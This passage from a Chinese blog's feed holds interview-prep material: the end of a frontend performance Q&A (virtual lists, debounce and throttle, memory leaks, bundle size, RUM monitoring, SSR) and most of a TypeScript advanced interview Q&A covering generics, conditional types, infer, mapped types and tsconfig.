&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;// 简易实现（固定行高）
function VirtualList({ container, itemHeight, total, renderItem }) {
  const viewportH = container.clientHeight;
  const visibleCount = Math.ceil(viewportH / itemHeight);
  const buffer = 5;

  container.addEventListener(&apos;scroll&apos;, () =&amp;gt; {
    const scrollTop = container.scrollTop;
    const start = Math.max(0, Math.floor(scrollTop / itemHeight) - buffer);
    const end = Math.min(total, start + visibleCount + buffer * 2);

    // 只更新可视数据 + 偏移
    renderItems(start, end);
    content.style.transform = `translateY(${start * itemHeight}px)`;
  });
}
// 现成方案：vue-virtual-scroller、react-window、react-virtuoso
// 不定高场景：预估高度 + 渲染后实测缓存高度（react-virtuoso 内置）
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Q11: 防抖和节流在性能优化中的应用？⭐ 🔥&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;// 防抖（debounce）：停止触发 n 秒后才执行（结果导向）
// 场景：搜索联想、窗口 resize 后重算、表单校验
function debounce(fn, delay = 300) {
  let timer = null;
  return function (...args) {
    clearTimeout(timer);
    timer = setTimeout(() =&amp;gt; fn.apply(this, args), delay);
  };
}

// 节流（throttle）：每 n 秒最多执行一次（频率导向）
// 场景：scroll 滚动加载、mousemove、射击游戏
function throttle(fn, interval = 200) {
  let last = 0;
  return function (...args) {
    const now = Date.now();
    if (now - last &amp;gt;= interval) {
      last = now;
      fn.apply(this, args);
    }
  };
}

// 选择口诀：
// 只关心最终结果 → 防抖（搜索框）
// 需要持续响应但要限频 → 节流（滚动条）
&lt;/code&gt;&lt;/pre&gt;
&lt;hr /&gt;
&lt;h2&gt;内存与运行时&lt;/h2&gt;
&lt;h3&gt;Q12: 前端内存泄漏的常见原因？如何排查？⭐⭐⭐ 🔥&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;// 常见原因：
// 1. 意外的全局变量
function leak() { data = &apos;huge string&apos;; }  // 忘写 let/var → 挂到 window

// 2. 未清理的定时器
setInterval(() =&amp;gt; { /* 引用了组件数据 */ }, 1000);  // 组件销毁未 clearInterval

// 3. 未解绑的事件监听
element.addEventListener(&apos;click&apos;, handler);  // 组件卸载未 removeEventListener

// 4. 闭包引用
function outer() {
  const huge = new Array(1e6).fill(&apos;x&apos;);
  return function inner() { /* 只用了 huge.length，但整个 huge 被引用 */ };
}

// 5. 游离 DOM（detached DOM）
// JS 变量还引用着已从文档移除的节点

// 6. console.log 引用对象（开发环境）

// 7. 第三方库实例未销毁（echarts 实例、地图实例）
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;排查流程（Chrome DevTools）：

1. Performance 面板：录制操作，看 JS Heap 是否只增不减（锯齿应该回落）
2. Memory 面板 → Heap Snapshot：
   - 操作前拍一次 → 操作后拍一次 → Comparison 视图对比
   - 按 Retained Size 排序，找 Detached / 可疑构造器
3. Allocation instrumentation on timeline：实时看内存分配，
   蓝色柱（存活）持续增长即泄漏点
4. 常见修复：
   - Vue：onUnmounted 里清理定时器/监听/实例
   - React：useEffect 返回清理函数
   - WeakMap/WeakSet 存&quot;附属数据&quot;，键被回收时自动释放
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Q13: 如何优化包体积？⭐⭐ 🔥&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;分析工具先行：
- rollup-plugin-visualizer / webpack-bundle-analyzer
- 打包产物看：du -sh dist/_astro/* | sort -h

优化清单：
1. Tree Shaking：ESM 导入 + sideEffects: false
   （lodash → lodash-es，import { debounce } 而非 import _）
2. 按需引入组件库：Element Plus / Ant Design 自动按需插件
3. 大依赖替换：moment(300KB+) → dayjs(7KB)
   axios → fetch 封装；完整 echarts → 按需注册组件
4. 图片/字体：WebP、字体子集化（fontmin，中文字体必做）
5. Gzip/Brotli：构建时预压缩（vite-plugin-compression）
   或交给 Nginx 动态压缩
6. 代码分割 + 懒加载（见 Q5）
7. 检查重复依赖：npm ls lodash，多版本共存要 dedupe
8. 移除 sourcemap 生产配置或改为 hidden-source-map

量化表达（面试加分）：
&quot;主包从 2.1MB 降到 480KB，首屏 JS 传输体积下降 77%&quot;
&lt;/code&gt;&lt;/pre&gt;
&lt;hr /&gt;
&lt;h2&gt;监控与实战&lt;/h2&gt;
&lt;h3&gt;Q14: 如何做线上性能监控（RUM）？⭐⭐⭐&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;// 自建监控的采集内容：
// 1. 指标采集：web-vitals 库 → LCP/INP/CLS/TTFB/FCP
// 2. 资源加载：PerformanceObserver 监听 resource，
//    采集慢资源（duration &amp;gt; 阈值）
// 3. 接口耗时：拦截 fetch/XHR 记录 duration 和状态码
// 4. 长任务：PerformanceObserver 监听 longtask（&amp;gt;50ms）
// 5. 错误：window.onerror + unhandledrejection

// 上报策略（关键，防止监控本身拖慢页面）：
// - navigator.sendBeacon：页面卸载也能发，不阻塞
// - 批量合并 + 节流上报（每 10s 或 20 条）
// - 采样率控制（大流量站点 10%）
// - requestIdleCallback 空闲时上报

window.addEventListener(&apos;beforeunload&apos;, () =&amp;gt; {
  navigator.sendBeacon(&apos;/api/monitor&apos;, JSON.stringify(bufferedMetrics));
});

// 现成方案：Sentry（错误+性能）、阿里 ARMS、
// 腾讯 RUM、字节 volcengine APMPlus、开源 web-see
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Q15: 讲一个你做过的性能优化案例？⭐⭐⭐ 🔥&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;答：&lt;/strong&gt; 这是必考开放题，用 &lt;strong&gt;STAR + 数据&lt;/strong&gt; 结构回答：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;模板：场景 → 问题定位 → 手段 → 量化结果 → 沉淀

示例回答（管理后台项目）：

【场景】中后台管理系统，用户反馈打开报表页要 6-7 秒白屏。

【定位】Lighthouse + bundle analyzer 分析：
1. 主包 3.2MB（echarts 全量引入 + moment）
2. 报表页串行等 4 个接口
3. 表格一次渲染 5000 行 DOM

【手段】
1. echarts 按需注册组件，moment → dayjs（体积 -1.4MB）
2. 路由级代码分割，报表页独立 chunk
3. 4 个接口合并为 BFF 聚合接口 + Promise.all 并行
4. 表格虚拟滚动（只渲染可视区 30 行）
5. 开启 Gzip + CDN + 接口数据 SWR 缓存

【结果】
- 首屏 LCP：6.8s → 1.9s（-72%）
- 主包体积：3.2MB → 780KB
- 报表页交互卡顿（INP）：600ms → 80ms

【沉淀】
- 把&quot;分包配置 + 按需引入&quot;沉淀为团队脚手架默认配置
- CI 加 bundlesize 检查，主包超 500KB 构建失败
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Q16: SSR 为什么能提升首屏？有什么代价？⭐⭐⭐&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;CSR 首屏流程（两次请求才能看到内容）：
请求 HTML（空壳）→ 下载 JS → 执行 JS → 请求接口 → 渲染内容

SSR 首屏流程：
请求 HTML（服务端已渲染好内容）→ 直接显示 → hydration 绑定事件

优势：
1. FCP/LCP 快：HTML 到达即可见
2. SEO 友好：爬虫直接拿到完整内容
3. 弱网/低端设备体验好

代价：
1. 服务器压力大（每个请求都要渲染）
2. TTFB 可能变长（服务端渲染耗时）
3. hydration 成本：JS 加载后还有一次&quot;注水&quot;
4. 开发复杂度：数据获取、环境判断（window 不存在）

折中方案：
- SSG：构建时生成静态 HTML（博客、文档站）
- 增量静态再生（ISR）：静态 + 定时更新
- 流式 SSR：分块吐 HTML，边渲染边下发
- 岛屿架构（Astro）：静态为主，局部交互组件才加载 JS
&lt;/code&gt;&lt;/pre&gt;
&lt;hr /&gt;
&lt;h2&gt;复习卡片&lt;/h2&gt;
&lt;blockquote&gt;
&lt;p&gt;[!TIP]
&lt;strong&gt;快速复习清单&lt;/strong&gt;&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;Core Web Vitals&lt;/strong&gt;：LCP &amp;lt; 2.5s、INP &amp;lt; 200ms、CLS &amp;lt; 0.1（INP 已取代 FID）&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;测量&lt;/strong&gt;：web-vitals 库 + PerformanceObserver；Lab（Lighthouse）vs Field（RUM）&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;URL 到展示&lt;/strong&gt;：DNS 预解析 → preconnect → CDN/缓存 → 分包 → 渲染&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;defer vs async&lt;/strong&gt;：defer 顺序执行于解析后；async 下载完就执行&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;代码分割&lt;/strong&gt;：路由懒加载 + manualChunks + 大库独立缓存&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;图片&lt;/strong&gt;：WebP/AVIF、srcset、loading=lazy；LCP 图 preload + fetchpriority&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;白屏优化&lt;/strong&gt;：CDN + Gzip + 缓存 + 懒加载 + SSR/SSG + 接口预请求&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;重排重绘&lt;/strong&gt;：读写分离防布局抖动；transform/opacity 走合成层&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;长列表&lt;/strong&gt;：虚拟列表，只渲染可视区 + buffer&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;防抖节流&lt;/strong&gt;：结果导向用防抖，限频用节流&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;内存泄漏&lt;/strong&gt;：定时器/监听/闭包/游离 DOM；Heap Snapshot 对比排查&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;包体积&lt;/strong&gt;：Tree Shaking + 按需引入 + 大依赖替换 + 可视化分析&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;案例回答&lt;/strong&gt;：STAR + 量化数据 + 沉淀，务必提前准备 1-2 个&lt;/li&gt;
&lt;/ol&gt;
&lt;/blockquote&gt;
&lt;hr /&gt;
&lt;blockquote&gt;
&lt;p&gt;[!TIP]
下一篇：&lt;a href=&quot;/blog/posts/interview-guide-14-handwritten-code/&quot;&gt;手写代码题专篇&lt;/a&gt; 涵盖防抖节流、深拷贝、Promise 系列、并发控制、发布订阅、数组扁平化等笔试必考题的逐行解析。&lt;/p&gt;
&lt;p&gt;返回 &lt;a href=&quot;/blog/posts/interview-guide-00-overview/&quot;&gt;面试宝典总览&lt;/a&gt; | &lt;a href=&quot;/blog/interview-guide/&quot;&gt;面试宝典合集页&lt;/a&gt;&lt;/p&gt;
&lt;/blockquote&gt;
</content:encoded></item><item><title>TypeScript 进阶面试题（中高级必考）</title><link>http://117.72.32.87/blog/posts/interview-guide-12-typescript/</link><guid isPermaLink="true">http://117.72.32.87/blog/posts/interview-guide-12-typescript/</guid><description>深入讲解泛型、条件类型、infer、映射类型、内置工具类型实现原理、类型收窄、协变逆变等 TypeScript 高频进阶面试题。</description><pubDate>Wed, 16 Sep 2026 08:00:00 GMT</pubDate><content:encoded>&lt;blockquote&gt;
&lt;p&gt;[!NOTE]
本文包含 20+ 道 TypeScript 进阶面试题，中高级岗位 TS 考察比重越来越高，难度标注：⭐ 基础 · ⭐⭐ 进阶 · ⭐⭐⭐ 高级 · 🔥 高频必考&lt;/p&gt;
&lt;/blockquote&gt;
&lt;hr /&gt;
&lt;h2&gt;类型基础&lt;/h2&gt;
&lt;h3&gt;Q1: interface 和 type 的区别？⭐ 🔥&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;答：&lt;/strong&gt;&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;维度&lt;/th&gt;
&lt;th&gt;interface&lt;/th&gt;
&lt;th&gt;type&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;声明合并&lt;/td&gt;
&lt;td&gt;✅ 同名自动合并&lt;/td&gt;
&lt;td&gt;❌ 重复定义报错&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;extends / 交叉&lt;/td&gt;
&lt;td&gt;&lt;code&gt;extends&lt;/code&gt; 继承&lt;/td&gt;
&lt;td&gt;&lt;code&gt;&amp;amp;&lt;/code&gt; 交叉类型&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;联合/元组/基础类型别名&lt;/td&gt;
&lt;td&gt;❌&lt;/td&gt;
&lt;td&gt;✅&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;映射类型&lt;/td&gt;
&lt;td&gt;❌&lt;/td&gt;
&lt;td&gt;✅&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;性能&lt;/td&gt;
&lt;td&gt;类型检查更快（名字可缓存）&lt;/td&gt;
&lt;td&gt;复杂计算类型稍慢&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;报错信息&lt;/td&gt;
&lt;td&gt;更友好（显示接口名）&lt;/td&gt;
&lt;td&gt;有时展开为内联结构&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;pre&gt;&lt;code&gt;// interface 声明合并（适合扩展第三方库类型）
interface User { name: string }
interface User { age: number }
// 合并为 { name: string; age: number }

// type 独有：联合、元组、条件类型
type Status = &apos;pending&apos; | &apos;done&apos;;        // 联合
type Pair = [string, number];            // 元组
type NonNull&amp;lt;T&amp;gt; = T extends null ? never : T;  // 条件类型

// 实践建议：
// 对象/类的形状 → interface（可合并、可 implements）
// 联合、元组、工具类型、类型运算 → type
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Q2: any、unknown、never 的区别？⭐ 🔥&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;// any：放弃类型检查，可以赋值给任何类型、做任何操作
let a: any = &apos;str&apos;;
a.foo.bar();  // 编译通过，运行时爆炸

// unknown：类型安全的 any，赋值随意，使用前必须收窄
let u: unknown = JSON.parse(str);
u.toFixed();           // ❌ 编译报错
if (typeof u === &apos;number&apos;) u.toFixed();  // ✅ 收窄后可用

// never：不可能存在的值，是所有类型的子类型
// 三大来源：
// 1. 抛异常的函数
function fail(msg: string): never { throw new Error(msg); }
// 2. 无限循环
function loop(): never { while (true) {} }
// 3. 穷尽检查（最高频用法）
type Shape = &apos;circle&apos; | &apos;square&apos;;
function area(s: Shape) {
  switch (s) {
    case &apos;circle&apos;: return 1;
    case &apos;square&apos;: return 2;
    default:
      // 如果 Shape 新增了 &apos;triangle&apos; 而这里没处理，
      // s 会是 &apos;triangle&apos;，无法赋给 never → 编译报错，提醒补全
      const _exhaustive: never = s;
      return _exhaustive;
  }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Q3: 什么是类型收窄（Narrowing）？有哪些方式？⭐⭐ 🔥&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;// 1. typeof —— 基础类型
function f(x: string | number) {
  if (typeof x === &apos;string&apos;) x.toUpperCase();  // x 收窄为 string
}

// 2. instanceof —— 类实例
if (err instanceof Error) console.log(err.message);

// 3. in —— 属性存在性
interface Dog { bark(): void }
interface Cat { meow(): void }
function speak(pet: Dog | Cat) {
  if (&apos;bark&apos; in pet) pet.bark();
}

// 4. 字面量类型判别（可辨识联合，最常用）
type Res = { code: 0; data: string } | { code: -1; msg: string };
function handle(r: Res) {
  if (r.code === 0) r.data;  // 通过判别属性收窄
  else r.msg;
}

// 5. 自定义类型守卫（is 谓词）
function isString(v: unknown): v is string {
  return typeof v === &apos;string&apos;;
}

// 6. 断言函数（asserts）
function assertDefined&amp;lt;T&amp;gt;(v: T | undefined): asserts v is T {
  if (v === undefined) throw new Error(&apos;undefined&apos;);
}

// 7. 真值收窄 / == null / 可选链
if (user?.name) { /* user 非空 */ }
&lt;/code&gt;&lt;/pre&gt;
&lt;hr /&gt;
&lt;h2&gt;泛型&lt;/h2&gt;
&lt;h3&gt;Q4: 泛型是什么？解决什么问题？⭐ 🔥&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;// 没有泛型：要么丢失类型（any），要么为每种类型写一遍
function identity(arg: any): any { return arg; }  // 返回值类型丢失

// 泛型：类型参数化，调用时才确定类型
function identity&amp;lt;T&amp;gt;(arg: T): T { return arg; }
const s = identity(&apos;hello&apos;);   // T 推断为 string，s: string
const n = identity&amp;lt;number&amp;gt;(1); // 显式指定

// 泛型接口 / 泛型类
interface ApiResponse&amp;lt;T&amp;gt; {
  code: number;
  data: T;
  message: string;
}
type UserRes = ApiResponse&amp;lt;{ id: number; name: string }&amp;gt;;

// 泛型约束（extends）：限制 T 必须具备某些属性
function getLength&amp;lt;T extends { length: number }&amp;gt;(arg: T): number {
  return arg.length;
}
getLength(&apos;str&apos;);      // ✅ string 有 length
getLength([1, 2]);     // ✅ 数组有 length
getLength(123);        // ❌ number 没有 length

// 默认泛型参数
function createArr&amp;lt;T = string&amp;gt;(len: number, val: T): T[] {
  return Array(len).fill(val);
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Q5: 泛型的 extends 有哪几种含义？⭐⭐&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;// 1. 约束：T 必须满足某形状
function fn&amp;lt;T extends { id: number }&amp;gt;(arg: T) {}

// 2. 继承接口
interface Admin extends User { role: string }

// 3. 条件类型中的判断（类型层面的三元表达式）
type IsString&amp;lt;T&amp;gt; = T extends string ? true : false;
type A = IsString&amp;lt;&apos;x&apos;&amp;gt;;    // true
type B = IsString&amp;lt;1&amp;gt;;      // false
&lt;/code&gt;&lt;/pre&gt;
&lt;hr /&gt;
&lt;h2&gt;条件类型与 infer&lt;/h2&gt;
&lt;h3&gt;Q6: 条件类型的分布式特性？⭐⭐⭐ 🔥&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;// 当条件类型作用于联合类型时，会分发到每个成员分别计算
type ToArray&amp;lt;T&amp;gt; = T extends any ? T[] : never;

type R = ToArray&amp;lt;string | number&amp;gt;;
// 分布式：ToArray&amp;lt;string&amp;gt; | ToArray&amp;lt;number&amp;gt; = string[] | number[]
// 而不是 (string | number)[]

// 如何关闭分布式？用元组包一层
type ToArrayNoDist&amp;lt;T&amp;gt; = [T] extends [any] ? T[] : never;
type R2 = ToArrayNoDist&amp;lt;string | number&amp;gt;;  // (string | number)[]

// 经典应用：Exclude 就是靠分布式实现的
type MyExclude&amp;lt;T, U&amp;gt; = T extends U ? never : T;
type E = MyExclude&amp;lt;&apos;a&apos; | &apos;b&apos; | &apos;c&apos;, &apos;a&apos;&amp;gt;;
// &apos;a&apos; extends &apos;a&apos; → never
// &apos;b&apos; extends &apos;a&apos; → &apos;b&apos;
// &apos;c&apos; extends &apos;a&apos; → &apos;c&apos;
// never | &apos;b&apos; | &apos;c&apos; = &apos;b&apos; | &apos;c&apos;（never 在联合中消失）
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Q7: infer 关键字的作用？⭐⭐⭐ 🔥&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;// infer：在条件类型中声明一个待推断的类型变量
// 相当于类型层面的&quot;解构赋值&quot;

// 提取函数返回值类型（ReturnType 的实现）
type MyReturnType&amp;lt;T&amp;gt; = T extends (...args: any[]) =&amp;gt; infer R ? R : never;
type R1 = MyReturnType&amp;lt;() =&amp;gt; string&amp;gt;;  // string

// 提取 Promise 的值类型
type UnwrapPromise&amp;lt;T&amp;gt; = T extends Promise&amp;lt;infer U&amp;gt; ? UnwrapPromise&amp;lt;U&amp;gt; : T;
type P = UnwrapPromise&amp;lt;Promise&amp;lt;Promise&amp;lt;number&amp;gt;&amp;gt;&amp;gt;;  // number（递归解包）

// 提取数组元素类型
type ElementOf&amp;lt;T&amp;gt; = T extends (infer E)[] ? E : never;
type E = ElementOf&amp;lt;string[]&amp;gt;;  // string

// 提取第一个元素
type First&amp;lt;T extends any[]&amp;gt; = T extends [infer F, ...any[]] ? F : never;
type F = First&amp;lt;[1, 2, 3]&amp;gt;;  // 1

// 提取构造函数实例类型（InstanceType 的实现）
type MyInstance&amp;lt;T&amp;gt; = T extends new (...args: any[]) =&amp;gt; infer I ? I : never;
&lt;/code&gt;&lt;/pre&gt;
&lt;hr /&gt;
&lt;h2&gt;映射类型与 keyof&lt;/h2&gt;
&lt;h3&gt;Q8: keyof 和 typeof 的用法？⭐ 🔥&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;// keyof：取对象类型的所有键，组成联合类型
interface User { id: number; name: string; age: number }
type UserKey = keyof User;  // &apos;id&apos; | &apos;name&apos; | &apos;age&apos;

// 高频场景：类型安全的属性访问
function getProp&amp;lt;T, K extends keyof T&amp;gt;(obj: T, key: K): T[K] {
  return obj[key];
}
const user: User = { id: 1, name: &apos;Tom&apos;, age: 20 };
getProp(user, &apos;name&apos;);  // 返回类型精确推断为 string
getProp(user, &apos;xxx&apos;);   // ❌ 编译报错，key 不在 User 中

// typeof：从&quot;值&quot;反推&quot;类型&quot;（JS 对象 → TS 类型）
const config = { host: &apos;localhost&apos;, port: 8080 } as const;
type Config = typeof config;  // { readonly host: &quot;localhost&quot;; readonly port: 8080 }
type ConfigKey = keyof typeof config;  // &apos;host&apos; | &apos;port&apos;

// 组合技：常量数组 → 联合类型
const ROLES = [&apos;admin&apos;, &apos;user&apos;, &apos;guest&apos;] as const;
type Role = typeof ROLES[number];  // &apos;admin&apos; | &apos;user&apos; | &apos;guest&apos;
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Q9: 映射类型是什么？修饰符怎么用？⭐⭐⭐&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;// 映射类型：遍历键集合批量生成新类型
type MyPartial&amp;lt;T&amp;gt; = {
  [K in keyof T]?: T[K];       // in 遍历，? 添加可选修饰
};

// 修饰符的添加与移除：+ / -
type Mutable&amp;lt;T&amp;gt; = { -readonly [K in keyof T]: T[K] };   // 移除 readonly
type Freeze&amp;lt;T&amp;gt;  = { +readonly [K in keyof T]: T[K] };   // 添加 readonly
type Required2&amp;lt;T&amp;gt; = { [K in keyof T]-?: T[K] };          // 移除可选

// as 子句（TS 4.1+）：重映射键
// 1. 过滤键
type OnlyString&amp;lt;T&amp;gt; = {
  [K in keyof T as T[K] extends string ? K : never]: T[K];
};
// 2. 生成 getter 类型
type Getters&amp;lt;T&amp;gt; = {
  [K in keyof T as `get${Capitalize&amp;lt;string &amp;amp; K&amp;gt;}`]: () =&amp;gt; T[K];
};
interface Person { name: string; age: number }
type PersonGetters = Getters&amp;lt;Person&amp;gt;;
// { getName: () =&amp;gt; string; getAge: () =&amp;gt; number }
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Q10: 手写常见内置工具类型？⭐⭐⭐ 🔥&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;// Partial：所有属性变可选
type MyPartial&amp;lt;T&amp;gt; = { [K in keyof T]?: T[K] };

// Required：所有属性变必选
type MyRequired&amp;lt;T&amp;gt; = { [K in keyof T]-?: T[K] };

// Readonly
type MyReadonly&amp;lt;T&amp;gt; = { readonly [K in keyof T]: T[K] };

// Pick：挑选属性
type MyPick&amp;lt;T, K extends keyof T&amp;gt; = { [P in K]: T[P] };

// Omit：排除属性（Pick + Exclude 组合）
type MyOmit&amp;lt;T, K extends keyof T&amp;gt; = MyPick&amp;lt;T, MyExclude&amp;lt;keyof T, K&amp;gt;&amp;gt;;
// 官方实现：Pick&amp;lt;T, Exclude&amp;lt;keyof T, K&amp;gt;&amp;gt;

// Exclude / Extract
type MyExclude&amp;lt;T, U&amp;gt; = T extends U ? never : T;
type MyExtract&amp;lt;T, U&amp;gt; = T extends U ? T : never;

// NonNullable：排除 null 和 undefined
type MyNonNullable&amp;lt;T&amp;gt; = T extends null | undefined ? never : T;

// Record：构造键值对类型
type MyRecord&amp;lt;K extends keyof any, V&amp;gt; = { [P in K]: V };
type Dict = MyRecord&amp;lt;string, number&amp;gt;;  // { [x: string]: number }

// ReturnType / Parameters
type MyReturnType&amp;lt;T&amp;gt; = T extends (...args: any[]) =&amp;gt; infer R ? R : never;
type MyParameters&amp;lt;T&amp;gt; = T extends (...args: infer P) =&amp;gt; any ? P : never;
&lt;/code&gt;&lt;/pre&gt;
&lt;hr /&gt;
&lt;h2&gt;实战场景&lt;/h2&gt;
&lt;h3&gt;Q11: 如何给后端接口返回值做类型定义？⭐⭐&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;// 1. 统一响应包装（泛型）
interface ApiResult&amp;lt;T&amp;gt; {
  code: number;
  message: string;
  data: T;
}

// 2. 列表分页响应
interface PageResult&amp;lt;T&amp;gt; {
  list: T[];
  total: number;
  pageNum: number;
  pageSize: number;
}

// 3. 实体类型集中管理
interface UserVO {
  id: number;
  username: string;
  status: UserStatus;
  createTime: string;
}

// 枚举用字面量联合 + as const（比 enum 更轻量，tree-shaking 友好）
const UserStatus = { NORMAL: &apos;0&apos;, DISABLED: &apos;1&apos; } as const;
type UserStatus = typeof UserStatus[keyof typeof UserStatus];

// 4. 请求函数泛型化，全链路类型推断
async function request&amp;lt;T&amp;gt;(url: string, config?: RequestInit): Promise&amp;lt;ApiResult&amp;lt;T&amp;gt;&amp;gt; {
  const res = await fetch(url, config);
  return res.json();
}
// 调用处 data 自动推断为 PageResult&amp;lt;UserVO&amp;gt;
const { data } = await request&amp;lt;PageResult&amp;lt;UserVO&amp;gt;&amp;gt;(&apos;/api/users&apos;);
data.list.forEach(u =&amp;gt; u.username);  // ✅ 全程有提示
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Q12: declare、.d.ts、模块声明怎么用？⭐⭐&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;// declare：告诉 TS &quot;这个东西在别处已存在&quot;，只声明不实现
declare const __VERSION__: string;      // 构建工具注入的全局变量
declare function ga(cmd: string): void; // 第三方脚本挂载的全局函数

// .d.ts 文件：纯类型声明，不产生运行时代码
// global.d.ts —— 扩展全局类型
interface Window {
  __APP_CONFIG__: { apiBase: string };
}
// 之后 window.__APP_CONFIG__ 有类型提示

// 为无类型的 npm 包补声明
declare module &apos;some-untyped-lib&apos; {
  export function doSomething(input: string): number;
}

// 静态资源模块声明（Vite 项目常见）
declare module &apos;*.svg&apos; {
  const content: string;
  export default content;
}

// 扩展第三方库类型（模块扩充）
// 例如给 vue-router 的 meta 加类型
declare module &apos;vue-router&apos; {
  interface RouteMeta {
    requiresAuth?: boolean;
    roles?: string[];
  }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Q13: as const 和 satisfies 的作用？⭐⭐⭐&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;// as const：深度只读 + 字面量类型收窄
const arr1 = [&apos;a&apos;, &apos;b&apos;];            // string[]
const arr2 = [&apos;a&apos;, &apos;b&apos;] as const;   // readonly [&apos;a&apos;, &apos;b&apos;]
const obj = { type: &apos;click&apos; } as const;  // { readonly type: &quot;click&quot; }
// 没有 as const 时 type 会被 widen 成 string

// satisfies（TS 4.9+）：既要满足约束，又保留精确类型
type ColorMap = Record&amp;lt;string, string | [number, number, number]&amp;gt;;

const colors = {
  red: [255, 0, 0],
  green: &apos;#00ff00&apos;,
} satisfies ColorMap;
// colors.red 类型是 [number, number, number]（精确保留）
colors.red[0];        // ✅ 能访问元组下标
// 如果写成 : ColorMap，red 会被放宽为 string | [number,number,number]，
// 访问 red[0] 报错

// 总结：
// as const  → 收窄为字面量/只读
// satisfies → 校验类型但不丢失精度（常与 as const 连用）
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Q14: 协变与逆变是什么？⭐⭐⭐&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;// 协变（covariance）：子类型可以赋给父类型（数组、返回值）
class Animal { name = &apos;&apos; }
class Dog extends Animal { bark() {} }

let animals: Animal[] = [];
let dogs: Dog[] = [];
animals = dogs;   // ✅ Dog[] 赋给 Animal[]（协变）

// 逆变（contravariance）：函数参数方向相反
type Handler&amp;lt;T&amp;gt; = (arg: T) =&amp;gt; void;
let hAnimal: Handler&amp;lt;Animal&amp;gt; = a =&amp;gt; console.log(a.name);
let hDog: Handler&amp;lt;Dog&amp;gt; = d =&amp;gt; d.bark();
hDog = hAnimal;   // ✅ 处理 Animal 的函数可以处理 Dog（逆变）
// 直觉：能处理&quot;更宽&quot;参数的函数，用在&quot;更窄&quot;参数位置是安全的

// 双向协变（bivariance）：方法写法的参数默认双向协变（不严格）
// strictFunctionTypes 开启后，函数写法的参数才是严格逆变

// 面试一句话总结：
// 属性/返回值 → 协变；函数参数 → 逆变（strict 模式下）
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Q15: TS 编译过程？tsc 做了哪些事？⭐⭐&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;TypeScript 编译流程：

.ts 源码
   ↓ 解析（Parser）
AST 抽象语法树
   ↓ 绑定（Binder）→ Symbol 符号表
   ↓ 类型检查（Checker）← 核心！tsc 的主要价值
   ↓ 发射（Emitter）
.js + .d.ts + .map

关键点：
1. tsc = 类型检查 + 转译降级（target 转换）
2. Vite/esbuild/SWC 只转译不检查（快 20-100 倍），
   类型检查交给 IDE 和 CI 里的 vue-tsc / tsc --noEmit
3. isolatedModules：每个文件独立编译，
   因此不能用 const enum、命名空间合并等跨文件特性
4. 类型信息在编译后完全擦除（type erasure），
   运行时不存在任何类型，无法用类型做运行时校验
   → 外部数据（接口返回）需要 zod / valibot 等运行时校验
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Q16: tsconfig 中最重要的配置项？⭐⭐ 🔥&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;{
  &quot;compilerOptions&quot;: {
    // 严格性（新项目直接开 strict，包含下面所有）
    &quot;strict&quot;: true,
